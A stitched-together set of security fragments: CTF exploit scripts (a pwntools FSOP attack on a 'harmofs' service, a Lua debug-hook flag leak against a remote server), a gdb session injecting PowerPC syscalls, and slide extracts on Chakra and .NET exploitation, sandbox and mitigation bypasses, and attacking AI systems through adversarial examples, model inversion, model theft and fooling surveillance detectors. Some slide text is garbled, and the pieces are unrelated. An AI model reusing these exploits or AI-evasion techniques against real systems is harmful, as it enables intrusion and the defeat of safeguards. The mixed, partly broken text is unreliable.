s.sendlineafter('File name: ',name)
sleep(0.05)
s.sendlineafter('Operation: ','2')
sleep(0.05)
s.sendlineafter('Size: ',str(size))
def writex(name,size,content):
sleep(0.05)
s.sendlineafter('Sh > ','fileop')
sleep(0.05)
s.sendlineafter('File name: ',name)
sleep(0.05)
s.sendlineafter('Operation: ','1')
sleep(0.05)
s.sendlineafter('Size: ',str(size))
sleep(0.05)
s.send(content)
def seek(name,mode,offset):
sleep(0.05)
s.sendlineafter('Sh > ','fileop')
sleep(0.05)
s.sendlineafter('File name: ',name)
sleep(0.05)
s.sendlineafter('Operation: ','3')
sleep(0.05)
s.sendlineafter('Mode: ',str(mode))
sleep(0.05)
s.sendlineafter("Offset: ",str(offset))
def free(name):
sleep(0.05)
s.sendlineafter('Sh > ','fileop')
sleep(0.05)
s.sendlineafter('File name: ',name)
sleep(0.05)
s.sendlineafter('Operation: ','4')
elf = ELF("./harmofs",checksec=False)
libc = ELF("./libc.so",checksec=False)
s.recvuntil('Gift: ')
puts = int(s.recvuntil('\n',False),16)
s.recvuntil('Gift: ')
main = int(s.recvuntil('\n',False),16)
luaplayground01 && luaplayground02
luabytecodebytecode
luadebughook
42tablegetlocaltableflag
for i in range(8):
touch(str(i),0x200)
pie = main-0x12D8
libc.address = puts - libc.sym['puts']
openfile = pie+0x1248
#overflow
seek('6',2,0x80000000)
seek('6',1,0x7fffffff-0x1ff-0x18)
#edit size&offset
writex('6',0x200,p32(0x728-0x20+4)+'66666\n'+"\x00"*14+p32(0x50000)+"\n")
#FSOP
payload =
'/etc/flag\x00\x00\x00'+p32(libc.address+0x83428)+p32(0)*5+p32(openfile)*3+p32(
0)
writex('66666',0x100,payload+"\n")
s.interactive()
from pwn import *
# context.log_level = 'debug'
try:
p = remote('124.71.205.79', 31389)
p.recvuntil('Lua 5.1.5')
def send_c(s):
p.recvuntil('> ')
p.sendline(s)
s = '''test = loadfile("/etc/flag2.lua")
function hook (why)
local name, value
local NIL = {}
local locals = {}
local i = 1
print ("==========hook reached:============", why)
print ("function =", debug.getinfo (2, "n").name)
while( true ) do
name, value = debug.getlocal( 3, i )
if ( name == nil ) then break end
locals[ name ] = value == nil and NIL or value
i = i + 1
end
for k, v in pairs( locals ) do
print( k, v )
if type(v)== "table" then
for key, value in pairs(v) do
print(key, value)
end
end
end
end
debug.sethook (hook, "c", 0)'''.splitlines()
# output
'''
(*temporary) flag{4f71707e-35c7-4159-ab54-ab9f22bb28
(for limit) 42
i 40
==========hook reached:============ call
function = char
(for index) 41
(for step) 1
(*temporary) flag{4f71707e-35c7-4159-ab54-ab9f22bb28d
(for limit) 42
i 41
==========hook reached:============ call
function = char
(for index) 42
(for step) 1
(*temporary) flag{4f71707e-35c7-4159-ab54-ab9f22bb28de
(for limit) 42
i 42
==========hook reached:============ call
function = write
'''
for i in s:
send_c(i)
# p.sendline(s)
# p.sendline('print("aa")')
# p.recvuntil('aa')
# send_c('a = io.open("/etc/flag2.lua")')
# send_c('b = a:read("*all")')
# send_c('dd = string.tohex(b)')
p.interactive()
MISC
RSP
gdb remote PowerPC shellcode,openread
file_byte = ''
for i in xrange(len(file_byte),2378,1000):
print(i)
c = 'print(string.sub(dd,{0},{1}))'
if 3000 - i <= 1000:
i2 = 3000
else:
i2 = 1000 + i
c = c.format(i+1,i2)
send_c(c)
p.recvuntil('))\r\n\r')
file_byte += p.recvuntil('\r',drop=True).strip()
f = open('recv.lua','wb')
f.write(file_byte.decode('hex'))
f.close()
except:
print(file_byte)
print(i)
(gdb) x/32i 0x0fef7f4c
=> 0xfef7f4c: mfcr r0
0xfef7f50: andis. r9,r0,4096
0xfef7f54: mr r27,r3
0xfef7f58: bne 0xfef8070
0xfef7f5c: cmpwi cr7,r3,0
0xfef7f60: bne cr7,0xfef8080
0xfef7f64: lwz r10,-1016(r30)
0xfef7f68: mr r9,r2
0xfef7f6c: lwz r10,0(r10)
0xfef7f70: cmpwi cr7,r10,0
0xfef7f74: beq cr7,0xfef7f84
0xfef7f78: lwz r8,0(r10)
0xfef7f7c: addi r8,r8,4
0xfef7f80: stw r8,0(r10)
0xfef7f84: lwz r10,-460(r30)
0xfef7f88: addi r8,r9,-29792
0xfef7f8c: addi r3,r9,-29904
0xfef7f90: stw r8,-29792(r9)
0xfef7f94: lwz r10,0(r10)
0xfef7f98: cmpwi cr7,r10,0
0xfef7f9c: bne cr7,0xfef81f8
0xfef7fa0: bne cr4,0xfef8190
0xfef7fa4: cmpwi cr7,r29,0
0xfef7fa8: lwz r9,-980(r30)
0xfef7fac: li r10,0
0xfef7fb0: li r8,1
0xfef7fb4: stw r8,1232(r9)
0xfef7fb8: stw r10,1220(r9)
0xfef7fbc: stw r10,1224(r9)
0xfef7fc0: stw r10,1228(r9)
0xfef7fc4: stw r10,1236(r9)
0xfef7fc8: stw r10,1240(r9)
(gdb) info r
r0 0x78 120
r1 0xbfdb19d0 3218807248
r2 0xb791adb0 3079777712
r3 0x0 0
r4 0x0 0
r5 0x0 0
r6 0x0 0
r7 0xb7913948 3079747912
r8 0x0 0
r9 0x0 0
r10 0xbfdb1a40 3218807360
r11 0x3 3
r12 0x22000442 570426434
r13 0x1001f634 268564020
r14 0xc18d00 12684544
r15 0x1 1
r16 0xc18b50 12684112
r17 0xc18634 12682804
r18 0xc18b34 12684084
r19 0xc18c58 12684376
r20 0x0 0
r21 0x11b6c80 18574464
r22 0x40 64
r23 0x11b7ed0 18579152
r24 0x11c5300 18633472
r25 0x1062a620 274900512
r26 0x0 0
r27 0xb7915de0 3079757280
r28 0x0 0
r29 0x0 0
r30 0xffebff4 268353524
r31 0xbfdb19d0 3218807248
pc 0xfef7f4c 0xfef7f4c
msr 0xd932 55602
cr 0x22002442 570434626
lr 0xfef7e0c 0xfef7e0c
ctr 0xfef7e00 267353600
xer 0x0 0
orig_r3 0x1200011 18874385
(gdb) set $r3=0xfef7f4c
(gdb) set $r3=0xfef7f40
(gdb) set $r0=5
(gdb) set $r4=0
(gdb) info r
r0 0x5 5
r1 0xbfdb19d0 3218807248
r2 0xb791adb0 3079777712
r3 0xfef7f40 267353920
r4 0x0 0
r5 0x0 0
r6 0x0 0
r7 0xb7913948 3079747912
r8 0x0 0
r9 0x0 0
r10 0xbfdb1a40 3218807360
r11 0x3 3
r12 0x22000442 570426434
r13 0x1001f634 268564020
r14 0xc18d00 12684544
r15 0x1 1
r16 0xc18b50 12684112
r17 0xc18634 12682804
r18 0xc18b34 12684084
r19 0xc18c58 12684376
r20 0x0 0
r21 0x11b6c80 18574464
r22 0x40 64
r23 0x11b7ed0 18579152
r24 0x11c5300 18633472
r25 0x1062a620 274900512
r26 0x0 0
r27 0xb7915de0 3079757280
r28 0x0 0
r29 0x0 0
r30 0xffebff4 268353524
r31 0xbfdb19d0 3218807248
pc 0xfef7f4c 0xfef7f4c
msr 0xd932 55602
cr 0x22002442 570434626
lr 0xfef7e0c 0xfef7e0c
ctr 0xfef7e00 267353600
xer 0x0 0
orig_r3 0x1200011 18874385
(gdb) set *(int*)0xfef7f40=1718378855
(gdb) set *(int*)0xfef7f44=779384948
(gdb) set *(int*)0xfef7f48=0
(gdb) p $pc
$1 = (void (*)()) 0xfef7f4c
(gdb) set *(int*)0xfef7f4c=1140850690
(gdb) nearpc
Undefined command: "nearpc". Try "help".
(gdb) x/32i $pc
=> 0xfef7f4c: sc
0xfef7f50: andis. r9,r0,4096
0xfef7f54: mr r27,r3
0xfef7f58: bne 0xfef8070
0xfef7f5c: cmpwi cr7,r3,0
0xfef7f60: bne cr7,0xfef8080
0xfef7f64: lwz r10,-1016(r30)
0xfef7f68: mr r9,r2
0xfef7f6c: lwz r10,0(r10)
0xfef7f70: cmpwi cr7,r10,0
0xfef7f74: beq cr7,0xfef7f84
0xfef7f78: lwz r8,0(r10)
0xfef7f7c: addi r8,r8,4
0xfef7f80: stw r8,0(r10)
0xfef7f84: lwz r10,-460(r30)
0xfef7f88: addi r8,r9,-29792
0xfef7f8c: addi r3,r9,-29904
0xfef7f90: stw r8,-29792(r9)
0xfef7f94: lwz r10,0(r10)
0xfef7f98: cmpwi cr7,r10,0
0xfef7f9c: bne cr7,0xfef81f8
0xfef7fa0: bne cr4,0xfef8190
0xfef7fa4: cmpwi cr7,r29,0
0xfef7fa8: lwz r9,-980(r30)
0xfef7fac: li r10,0
0xfef7fb0: li r8,1
0xfef7fb4: stw r8,1232(r9)
0xfef7fb8: stw r10,1220(r9)
0xfef7fbc: stw r10,1224(r9)
0xfef7fc0: stw r10,1228(r9)
0xfef7fc4: stw r10,1236(r9)
0xfef7fc8: stw r10,1240(r9)
(gdb) info r
r0 0x5 5
r1 0xbfdb19d0 3218807248
r2 0xb791adb0 3079777712
r3 0xfef7f40 267353920
r4 0x0 0
r5 0x0 0
r6 0x0 0
r7 0xb7913948 3079747912
r8 0x0 0
r9 0x0 0
r10 0xbfdb1a40 3218807360
r11 0x3 3
r12 0x22000442 570426434
r13 0x1001f634 268564020
r14 0xc18d00 12684544
r15 0x1 1
r16 0xc18b50 12684112
r17 0xc18634 12682804
r18 0xc18b34 12684084
r19 0xc18c58 12684376
r20 0x0 0
r21 0x11b6c80 18574464
r22 0x40 64
r23 0x11b7ed0 18579152
r24 0x11c5300 18633472
r25 0x1062a620 274900512
r26 0x0 0
r27 0xb7915de0 3079757280
r28 0x0 0
r29 0x0 0
r30 0xffebff4 268353524
r31 0xbfdb19d0 3218807248
pc 0xfef7f4c 0xfef7f4c
msr 0xd932 55602
cr 0x22002442 570434626
lr 0xfef7e0c 0xfef7e0c
ctr 0xfef7e00 267353600
xer 0x0 0
orig_r3 0x1200011 18874385
(gdb) x/s 0xfef7f40
0xfef7f40: "flag.txt"
(gdb) ni
0x0fef7f50 in ?? ()
(gdb) info r
r0 0x5 5
r1 0xbfdb19d0 3218807248
r2 0xb791adb0 3079777712
r3 0x6 6
r4 0x0 0
r5 0x0 0
r6 0x0 0
r7 0xb7913948 3079747912
r8 0x0 0
r9 0x0 0
r10 0xbfdb1a40 3218807360
r11 0x3 3
r12 0x22000442 570426434
r13 0x1001f634 268564020
r14 0xc18d00 12684544
r15 0x1 1
r16 0xc18b50 12684112
r17 0xc18634 12682804
r18 0xc18b34 12684084
r19 0xc18c58 12684376
r20 0x0 0
r21 0x11b6c80 18574464
r22 0x40 64
r23 0x11b7ed0 18579152
r24 0x11c5300 18633472
r25 0x1062a620 274900512
r26 0x0 0
r27 0xb7915de0 3079757280
r28 0x0 0
r29 0x0 0
r30 0xffebff4 268353524
r31 0xbfdb19d0 3218807248
pc 0xfef7f50 0xfef7f50
msr 0xdd32 56626
cr 0x22002442 570434626
lr 0xfef7e0c 0xfef7e0c
ctr 0xfef7e00 267353600
xer 0x0 0
orig_r3 0xfef7f40 267353920
(gdb) set $r0=3
(gdb) set *(int*)0xfef7f50=1140850690
(gdb) set $r4=$sp
(gdb) set $r5=0x100
(gdb) info r
r0 0x3 3
r1 0xbfdb19d0 3218807248
r2 0xb791adb0 3079777712
r3 0x6 6
r4 0xbfdb19d0 3218807248
r5 0x100 256
r6 0x0 0
r7 0xb7913948 3079747912
r8 0x0 0
r9 0x0 0
r10 0xbfdb1a40 3218807360
r11 0x3 3
r12 0x22000442 570426434
r13 0x1001f634 268564020
r14 0xc18d00 12684544
r15 0x1 1
r16 0xc18b50 12684112
r17 0xc18634 12682804
r18 0xc18b34 12684084
r19 0xc18c58 12684376
r20 0x0 0
r21 0x11b6c80 18574464
r22 0x40 64
r23 0x11b7ed0 18579152
r24 0x11c5300 18633472
r25 0x1062a620 274900512
r26 0x0 0
r27 0xb7915de0 3079757280
r28 0x0 0
r29 0x0 0
r30 0xffebff4 268353524
r31 0xbfdb19d0 3218807248
pc 0xfef7f50 0xfef7f50
msr 0xdd32 56626
cr 0x22002442 570434626
lr 0xfef7e0c 0xfef7e0c
ctr 0xfef7e00 267353600
xer 0x0 0
orig_r3 0xfef7f40 267353920
(gdb) x/32i $pc
=> 0xfef7f50: sc
0xfef7f54: mr r27,r3
0xfef7f58: bne 0xfef8070
0xfef7f5c: cmpwi cr7,r3,0
0xfef7f60: bne cr7,0xfef8080
0xfef7f64: lwz r10,-1016(r30)
0xfef7f68: mr r9,r2
0xfef7f6c: lwz r10,0(r10)
0xfef7f70: cmpwi cr7,r10,0
0xfef7f74: beq cr7,0xfef7f84
0xfef7f78: lwz r8,0(r10)
0xfef7f7c: addi r8,r8,4
0xfef7f80: stw r8,0(r10)
0xfef7f84: lwz r10,-460(r30)
0xfef7f88: addi r8,r9,-29792
0xfef7f8c: addi r3,r9,-29904
0xfef7f90: stw r8,-29792(r9)
0xfef7f94: lwz r10,0(r10)
0xfef7f98: cmpwi cr7,r10,0
0xfef7f9c: bne cr7,0xfef81f8
0xfef7fa0: bne cr4,0xfef8190
0xfef7fa4: cmpwi cr7,r29,0
0xfef7fa8: lwz r9,-980(r30)
0xfef7fac: li r10,0
0xfef7fb0: li r8,1
0xfef7fb4: stw r8,1232(r9)
0xfef7fb8: stw r10,1220(r9)
0xfef7fbc: stw r10,1224(r9)
0xfef7fc0: stw r10,1228(r9)
0xfef7fc4: stw r10,1236(r9)
0xfef7fc8: stw r10,1240(r9)
0xfef7fcc: beq cr7,0xfef800c
(gdb) ni
0x0fef7f54 in ?? ()
(gdb) info r
r0 0x3 3
r1 0xbfdb19d0 3218807248
r2 0xb791adb0 3079777712
r3 0x1c 28
r4 0xbfdb19d0 3218807248
r5 0x100 256
r6 0x0 0
r7 0xb7913948 3079747912
r8 0x0 0
r9 0x0 0
r10 0xbfdb1a40 3218807360
r11 0x3 3
r12 0x22000442 570426434
r13 0x1001f634 268564020
r14 0xc18d00 12684544
r15 0x1 1
r16 0xc18b50 12684112
r17 0xc18634 12682804
r18 0xc18b34 12684084
r19 0xc18c58 12684376
r20 0x0 0
r21 0x11b6c80 18574464
r22 0x40 64
r23 0x11b7ed0 18579152
r24 0x11c5300 18633472
r25 0x1062a620 274900512
r26 0x0 0
r27 0xb7915de0 3079757280
r28 0x0 0
r29 0x0 0
r30 0xffebff4 268353524
r31 0xbfdb19d0 3218807248
pc 0xfef7f54 0xfef7f54
msr 0xdd32 56626
cr 0x22002442 570434626
lr 0xfef7e0c 0xfef7e0c
ctr 0xfef7e00 267353600
xer 0x0 0
orig_r3 0x6 6
(gdb) x/s 0xbfdb19d0
0xbfdb19d0: "flag{Gd6s3rv3r@frOm_5cr4tch}"
(gdb) | pdf |
0
KaiSong (exp-sky)
Tencent Security Xuanwu Lab
WHO AM I
CONTENTS
1Chakra vulnerability
2Bypass ASLR & DEP
3Bypass CFG
4Bypass CIG
5Bypass ACG
6Exploit
7Q&A
The vulnerability was discovered on May 31, 2016.
The vulnerability was fixed in February 2017.
NativeIntArray struct :
NativeIntArrayHead
Segment :
left
length
size
Next segment
head
Segment :
left
length
size
Next segment
Buffer
Buffer
length
NativeIntArray struct :
Make var_Array_1 object reach a special state.
Make var_Array_1->length smaller.
Make var_Array_1 object reach a special state.
Array.length < (head.next.left + head.next.length)
0x2e
< (0x03d2 + 0x2e)
Segment : head
Left:0x00000000
Length:0x00000000
Size:0x00000012
Next segment
Segment : head.next
Left:0x000003d2
Length:0x0000002e
Size:0x0000002e
Next segment
Buffer:0x00000012*4
Buffer:0x0000002e*4
NativeIntArrayHead
head
Length:0x0000002e
Make var_Array_1 object reach a special state.
Array.length < (head.next.left + head.next.length)
0x2e
< (0x03d2 + 0x2e)
Make var_Array_1 object reach a special state.
Callback function causes length to be modified.
But the ReverseHelper function still uses the old length.
Segment : head
Left:0x00000000
Length:0x00000000
Size:0x00000012
Next segment
Segment : head.next
Left:0x000003d2
Length:0x0000002e
Size:0x0000002e
Next segment
Buffer:0x00000012*4
Buffer:0x0000002e*4
NativeIntArrayHead
head
Length:0x0000002e
Make var_Array_1 object reach a special state.
Array.length < (head.next.left + head.next.length)
0x2e
< (0x03d2 + 0x2e)
step 1
Make var_Array_1->head.size smaller.
step 1
var_Array_1->head.size : 0x2e -> 0x23
var_Array_1->head.size : 0x23 < var_Array_1->head.length : 0x2e
Segment : head
Left:0x00000000
Length:0x0000002e
Size:0x00000023
Next segment
Segment : head.next
Left:0x00000023
Length:0x0000000b
Size:0x00000012
Next segment
Buffer:0x0000002e*4
Buffer:0x00000012*4
NativeIntArrayHead
head
Length:0x0000002e
step 1
var_Array_1->head.size : 0x2e -> 0x23
var_Array_1->head.size : 0x23 < var_Array_1->head.length : 0x2e
step 1
seg->left = 0
seg->EnsureSizeInBound() : seg.size = 0x23
step 1
Min(Next->left, Size) - Min(0x2e, 0x23)
step 1
var_Array_1->head.size : 0x2e -> 0x23
var_Array_1->head.size : 0x23 < var_Array_1->head.length : 0x2e
Segment : head
Left:0x00000000
Length:0x0000002e
Size:0x00000023
Next segment
Segment : head.next
Left:0x00000023
Length:0x0000000b
Size:0x00000012
Next segment
Buffer:0x0000002e*4
Buffer:0x00000012*4
NativeIntArrayHead
head
Length:0x0000002e
Step 2
Create OOB
Step 2
ConvertToJavascriptArray : Create new segment
Seg.buffer = 0x23 * 0x08, Seg.length = 0x2e
Segment : head OOB
Left:0x00000000
Length:0x0000002e
Size:0x00000023
Next segment
Segment : head.next
Left:0x00000023
Length:0x0000000b
Size:0x00000011
Next segment
OOB : 0x0b*0x08
Buffer:0x00000011*4
JavascriptArrayHead
head
Length:0x0000002e
Buffer:0x00000023*8
Step 2
Seg.buffer = 0x23 * 0x08; Seg.length = 0x2e;
Step 3
Segment layout
Array 1 Segment : head
Left:0x00000000
Length:0x0000002e
Size:0x00000023
Next segment
Buffer:0x00000023*8
Array 2 Segment : head
Left:0x00000023
Length:0x0000000b
Size:0x23
OOB Write
Step 3
Segment layout and segment OOB
Step 4
Edit var_Array_2.head.size
Array 1 Segment : head
Left:0x00000000
Length:0x0000002e
Size:0x00000023
Next segment
Buffer:0x00000023*8
Array 2 Segment : head
Length:0x0000000b
Size:0xffffffff
OOB Write
Left:0x00000023
Step 4
Edit var_Array_2.head.size
Array 1 Segment : head
Left:0x00000000
Length:0x0000002e
Size:0x00000023
Next segment
Buffer:0x00000023*8
Array 2 Segment : head
Length:0x0000000b
Size:0xffffffff
Left:0x00000023
Segment : head.next
Left:0x00000023
Length:0x0000000b
Size:0x00000011
Next segment
Buffer:0x00000011*4
0x7fffffff
Step 5
var_Array_2 OOB r/w
Array 2 Segment : head
Left:0x00000000
Length:0x0000000b
Size:0xffffffff
Next segment
Buffer:0x00000023*8
OOB 0xffffffff * 8
Step 5
var_Array_2 OOB r/w
Step 6
Fill Memory r/w
Inline Head
Edit NativeIntArray.length,
NativeIntArray.head.length,
NativeIntArray.size
Step 6
Fill Memory r/w
Inline Head
Edit NativeIntArray.length,
NativeIntArray.head.length,
NativeIntArray.size
memory
OOB segment
NativeIntArray
object
edit
array.length
array.head.size
array.head.length
out of bound memory read/write
Step 6
Fill Memory r/w
DataView
Step 6
Fill Memory r/w
DataView
Step 6
Fill Memory r/w
DataView
Step 6
Fill Memory r/w
DataView
Step 6
Fill Memory r/w
DataView
CONTENTS
1Chakra vulnerability
2Bypass ASLR & DEP
3Bypass CFG
4Bypass CIG
5Bypass ACG
6Exploit
7Q&A
Module address and object address
Module address and object address
ROPVirtualProtectVirtualAlloc
BBC(D>C(A
:ECMGI
.CBBC(D>C(
1BBBC(D>C(D
CEIOC>D )G.!
C4145443
6ICA6211<1:11031
BBC(D>C(A
:ECMGI
.CBBC(D>C(
1BBBC(D>C(D
CEIOC>D )G.!
C4145443
6ICA6211031
CONTENTS
1Chakra vulnerability
2Bypass ASLR & DEP
3Bypass CFG
4Bypass CIG
5Bypass ACG
6Exploit
7Q&A
Control Flow Guard (CFG)
;=C4!4/
;=C4!4 /4CA:A=
;=C4!4
::000040::0AA:::A4,4::+4A
;=C4!4
::4
;=C4!4/
::=A4 /
Control Flow Guard (CFG)
bitmap
index offset : data
[0x0077b960] 0x01dee58c : 0x55555555
[0x0077b964] 0x01dee590 : 0x30010555
[0x0077b968] 0x01dee594 : 0x04541041
…
bt : 0x30010555&0x400 != 0
00000100 00000000 = 0x400
01010 = 0x0a = 10
Function
address : 0x77b96450
0x77b96450 : [01110111 10111001 01100100 01010000]
Leak stack address
Finding the return address of a specific function.
Modify the function's return address.
Control RIP.
CONTENTS
1Chakra vulnerability
2Bypass ASLR & DEP
3Bypass CFG
4Bypass CIG
5Bypass ACG
6Exploit
7Q&A
Code Integrity Guard (CIG)
Only properly signed DLLs are allowed to load by a process
us-14-Yu-Write-Once-Pwn-Anywhere
“LoadLibrary” in ShellCode
Load DLL file into Memory
Parse PE header
Reload sections
Fix Import Table
Rebase
Elevation of privilege is Quite Complex
Shellcode reusable
Increase privileges and Escape SandBox can be in a DLL
CONTENTS
1Chakra vulnerability
2Bypass ASLR & DEP
3Bypass CFG
4Bypass CIG
5Bypass ACG
6Exploit
7Q&A
Two general ways load malicious native code into memory
Load malicious DLL/EXE from disk
Dynamic generate code
CIG block the first way
Only properly signed DLLs are allowed to load by a
process
Child process can not be created (Windows 10 1607)
ACG block the second way
Code pages are immutable
New, unsigned code cannot be created
Arbitrary Code Guard(ACG)
Leverage valid signed code in an unintended way
ROP (Return oriented programming)
It could construct a full payload
Call API Function
Example
No need of shellcode
Just like C code
Example
No need of shellcode
Just like C code
CONTENTS
1Chakra vulnerability
2Bypass ASLR & DEP
3Bypass CFG
4Bypass CIG
5Bypass ACG
6Exploit
7Q&A
Demo
CONTENTS
1Chakra vulnerability
2Bypass ASLR & DEP
3Bypass CFG
4Bypass CIG
5Bypass ACG
6Exploit
7Q&A
https://scsc.xlab.qq.com/
100
https://scsc.xlab.qq.com/
100
F
H9FOE#57#87F0809F819N8E88-MFH
H:OFOEEN#E9F9:9QF9NMF.O/23
HHBR:HE#:QH9FE9F:Q99CFBE | pdf |
Exploitation Of Windows .NET
Framework
Nanika
[email protected]
1
I am Nanika
2
• APT ?
• No Exploit in .NET?
• Only EXE Attack?
• always Finds the New Attack TREND
• 趨勢始終來自於弱點
.NET Framework
3
.Net framework Security
Improvements
4
.NET Architecture
5
WPF
• Windows Presentation Foundation (WPF)
browser-hosted applications
• Default Enable DEP
Security Zone
Behavior
Getting Full Trust
Local computer
Automatic full trust
No action is needed.
Intranet and trusted sites Prompt for full trust
Sign the XBAP with a
certificate so that the
user sees the source in
the prompt.
Internet
Fails with "Trust Not
Granted"
Sign the XBAP with a
certificate.
6
Trust Site
7
Debug WPF
•
To configure Microsoft Visual Studio 2005 to debug an XBAP that
calls a Web service:
•
With a project selected in Solution Explorer, on the Project menu,
click Properties.
•
In the Project Designer, click the Debug tab.
•
In the Start Action section, select Start external program and enter
the following:
•
C:\WINDOWS\System32\PresentationHost.exe
•
In the Start Options section, enter the following into the Command
line arguments text box:
•
-debug filename
•
The filename value for the -debug parameter is the .xbap filename;
for example:
•
-debug c:\example.xbap
8
ClickOnce Deployment
Task
ClickOnce
Windows
Installer
Install Files
X
X
Create Shortcuts
X
X
Associate File Extensions
X
X
Install Services
X
Install to GAC
X
Manage ODBC
X
Manage COM+
X
Write to Registry
X
Advertising
X
Self-Repair
X
File/Folder/Registry Permissions
X
9
ClickOnce INTERNET or Full Trust
10
Examples of permissions not available
in the Internet zone
FileIOPermission
This permission controls the ability to
read and write files on disk.
Consequently, applications in the
Internet zone cannot read files on the
user's hard disk.
RegistryPermission
This permission controls the ability to
read/write to the registry.
Consequently, applications in the
Internet zone cannot access or control
state in the user's registry.
SecurityPermission.UnmanagedCode
This permission controls the ability to
call native Win32 functions.
http://msdn.microsoft.com/en-us/library/aa480229.aspx
11
.XBAP/.Application
12
Warring
13
• .NET framework
Start the exploitation
14
Exploit
ClickOnce
(INTERNET)
ClickOnce
(FULLTRUST)
WEB
LOCAL
COMPRESS
FILE
15
ClickOnce
(INTERNET)+WEB with MS12-035
• 00000025 mov eax,dword ptr
ds:[037B20C4h]
• 0000002b mov dword ptr [ebp-40h],eax
• 0000002e mov ecx,dword ptr [ebp-
3Ch]//ecx=0x41414141
• 00000031 mov eax,dword ptr [ecx]
• 00000033 mov eax,dword ptr [eax+28h]
• 00000036 call dword ptr [eax]
16
Exploit
•
byte[] proc = new byte[] {
•
EIP,
•
0x0d, 0x0d, 0x0d, 0x0d,
•
0x0d, 0x0d, 0x0d, 0x0d,
•
0x0d, 0x0d, 0x0d, 0x0d,
•
0x0d, 0x0d, 0x0d, 0x0d,
•
0x0d, 0x0d, 0x0d, 0x0d,
•
0x0d, 0x0d, 0x0d, 0x0d,
•
0x0d, 0x0d, 0x0d, 0x0d,
•
0x0d, 0x0d, 0x0d, 0x0d,
•
0x0d, 0x0d, 0x0d, 0x0d,
•
Proc point,
•
0x0d, 0x0d, 0x0d, 0x0d,
17
.NET Native API Alloc (full trust)
• [DllImport("kernel32")]
• private static extern UInt32
VirtualAlloc(UInt32 lpStartAddr,UInt32 size,
UInt32 flAllocationType, UInt32 flProtect);
• UInt32 exec = VirtualAlloc(0,
(UInt32)proc.Length, 0x1000, 0x40);
• byte[] byteArrays =
BitConverter.GetBytes(exec);
18
.NET Alloc (full trust)
• int sz = 0x1000;
• IntPtr ptr = Marshal.AllocHGlobal(sz);
• uint exec = (uint)ptr.ToInt32();
• byte[] byteArrays =
BitConverter.GetBytes(exec);
19
Byte[] to uint (full trust)
• unsafe
• {
• fixed (byte* p = proc)
• {
• IntPtr ptr = (IntPtr)p;
• }
• }
20
GCHandle.Alloc (full trust)
• GCHandle pinnedArray = GCHandle.Alloc(proc,
GCHandleType.Pinned);
• IntPtr pointer =
pinnedArray.AddrOfPinnedObject();
• pinnedArray.Free();
21
Exploit MS12-035
• Heap spraying
• Find no ASLR module
• ROP
• Run Shellcode
• Use COM technical bypass HIPS(blackhat 2011)
• Demo
22
Local Compress File Attack
Internet Attack mush add trust site no warning
Attack (ClickOnce INTERNET)
• .NET limit by Windows Presentation
Foundation Security Sandbox
• .XBAP
• .Applacation
• html
23
Why AntiVirus can not Detect?
• ALL AV Focus in Internet Explore Process
• The Heap Spraying Detect only in Browser
Process
• The Script Decode not work in WPF process
• Static Detect XBAP ?
24
Patched Affect
• MS11-044 INTERNET check
• MS12-035 INTERNET and LOCAL check
25
Remote Attack on MS11-044
• Web Attack Demo
26
Patched MS11-044 Attack bypass
• LocalComputer
• RAR
27
Attack (ClickOnce FULL TRUST)
• .NET can control everything
• .XBAP
• .Applacation
• Html
• Process.Start(“calc.exe”);
WEB Attack mush add trust site and warning
28
MS12-035
• Local Warning
29
Attack
Only .NET no patch
Patched MS11-044
Patched MS12-035
WEB+(ClickOnce full
trust)
Must add IE trust
site and Warning
Must add IE trust
site and Warning
Must add IE trust
site and Warning
Local Compress
File+(ClickOnce full
trust)
No Warning
No Warning
Warning
WEB+(ClickOnce
INTERNET)
No Warning
Warning
Warning
Local Compress
File+(ClickOnce
INTERNET)
No Warning
No Warning
Warning
30
Design
XBAP
Sandbox Limit
Internet
warning
Trust Site or
Local
31
Any thing Warning!?
• Remember UAC ?
• Any XBAP warning
• Sandbox with warning bypass depend on
user’s decide now.
32
Do you install .Net framework?
33
Summery
• .NET Remote Attack
• .NET Local Attack
• Patched Affect
• TREND always Finds the New Attack TREND
34
• Thanks
35 | pdf |
Don’t Red Team AI like a
Chump
Ariel Herbert-Voss
@adversariel
Intro
• Who am I?
• What is this talk?
A story about hacking an AI system IRL
+
+
Key points in this talk (in case you zone out)
• Focus on the threat model
• Go for the jugular feature extraction process
• Think about the data supply chain
What is an AI system?
• AI is a class of algorithms that we use to extract
actionable information from data
• AI is not new and the hype is real
• In this talk, AI == ML
AI
Machine
learning
Deep
learning
What is an AI system?
What is an AI system?
data
What is an AI system?
data
prediction
What is an AI system?
data
prediction
Parts of an AI system we can exploit
• Data
• Training/testing sets
• Deployed environment data
• Model
• Algorithm
• Parameters
Parts of an AI system we can exploit
• Data
• Training/testing sets
• Deployed environment data
• Model
• Algorithm
• Parameters
data poisoning
Parts of an AI system we can exploit
• Data
• Training/testing sets
• Deployed environment data
• Model
• Algorithm
• Parameters
data poisoning
Adversarial examples
adversarial example
data point
DOG
FRIED CHICKEN
(arbitrary) feature dimension 1
(arbitrary) feature dimension 2
target
data point
[Biggio et al, 2018]
Parts of an AI system we can exploit
• Data
• Training/testing sets
• Deployed environment data
• Model
• Algorithm
• Parameters
backdoored function
Parts of an AI system we can exploit
• Data
• Training/testing sets
• Deployed environment data
• Model
• Algorithm
• Parameters
model inversion
Model inversion
Image of Bill:
*exists in training data set*
Recovered image
[Fredrikson et al, 2015]
Parts of an AI system we can exploit
• Data
• Training/testing sets
• Deployed environment data
• Model
• Algorithm
• Parameters
model theft
Model theft
data
target model
stolen model
original
predictions
similar
predictions
[Tramèr et al, 2016]
How to design an attack for an AI system
1. What model are you attacking?
2. Where do the data come from?
3. Where do the predictions go?
Fooling AI-powered video surveillance
• Common system components
• Detection: on-premises algorithm that checks each still image to see if there is
a face for it to forward to the recognition system
• Recognition: off-site look-up of flagged images using a data base of known
faces
camera
detection system
recognition
system
Fooling AI-powered video surveillance
1. What model are you attacking?
YOLO v2
2. Where do the data come from?
video frames
3. Where do the predictions go?
stored as set of flagged frames
Fooling AI-powered video surveillance
[Thys et al, 2019]
Fooling AI-powered video surveillance
[Brown et al, 2017]
Fooling AI-powered video surveillance
[Thys et al, 2019]
AI red teaming is out of whack
• Red teaming AI is often conflated with the academic discipline of
adversarial machine learning
Cool ways to attack an AI model with math
== adversarial ML
Evaluate the security of an AI system
== red teaming AI
Adversarial ML attack tree
goal: make the
object detector
ignore person
minimize specific
class likelihood
minimize
“objectyness”
likelihood
minimize both
Fooling AI-powered video surveillance
AI red team attack tree
goal: make the
object detector
ignore person
get physical
control of the
camera
put a sticker over
the camera
remove the
power source
move the camera
to a different
location
get access to the
camera network
play looping
footage
